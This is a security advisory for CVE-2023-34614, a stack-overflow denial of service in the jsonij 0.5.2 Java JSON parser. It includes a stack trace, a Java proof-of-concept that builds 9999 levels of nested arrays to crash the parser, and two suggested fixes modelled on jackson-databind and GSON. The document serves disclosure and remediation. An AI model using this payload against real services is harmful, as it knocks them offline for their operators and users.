CVE-2023-34614: Stack overflow error caused by jsonij parsing of untrusted JSON String

Using jsonij to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Exception in thread “main” java.lang.StackOverflowError at jsonij.ArrayImp.internalType(ArrayImp.java:53) at jsonij.Value.<init>(Value.java:54) at jsonij.ArrayImp.<init>(ArrayImp.java:44) at jsonij.JSON$Array.<init>(JSON.java:326) at jsonij.parser.JSONParser.parseArray(JSONParser.java:271) at jsonij.parser.JSONParser.parseValue(JSONParser.java:180) at jsonij.parser.JSONParser.parseArray(JSONParser.java:275) at jsonij.parser.JSONParser.parseValue(JSONParser.java:180) at jsonij.parser.JSONParser.parseArray(JSONParser.java:275) at jsonij.parser.JSONParser.parseValue(JSONParser.java:180) at jsonij.parser.JSONParser.parseArray(JSONParser.java:275)

    <dependency>
        <groupId>cc.plural</groupId>
        <artifactId>jsonij</artifactId>
        <version>0.5.2</version>
    </dependency>

import jsonij.Value; import jsonij.parser.JSONParser; import jsonij.parser.ParserException;

public class PoC {

public final static int TOO\_DEEP\_NESTING \= 9999;
public final static String TOO\_DEEP\_DOC \= \_nestedDoc(TOO\_DEEP\_NESTING, "\[ ", "\] ", "0");

public static String \_nestedDoc(int nesting, String open, String close, String content) {
    StringBuilder sb \= new StringBuilder(nesting \* (open.length() + close.length()));
    for (int i \= 0; i < nesting; ++i) {
        sb.append(open);
        if ((i & 31) \== 0) {
            sb.append("\\n");
        }
    }
    sb.append("\\n").append(content).append("\\n");
    for (int i \= 0; i < nesting; ++i) {
        sb.append(close);
        if ((i & 31) \== 0) {
            sb.append("\\n");
        }
    }
    return sb.toString();
}

public static void main(String\[\] args) throws ParserException {
    String jsonString \= TOO\_DEEP\_DOC;
    JSONParser jsonParser \= new JSONParser();
    Value parse \= jsonParser.parse(jsonString);
}

}

1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b))
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027）))

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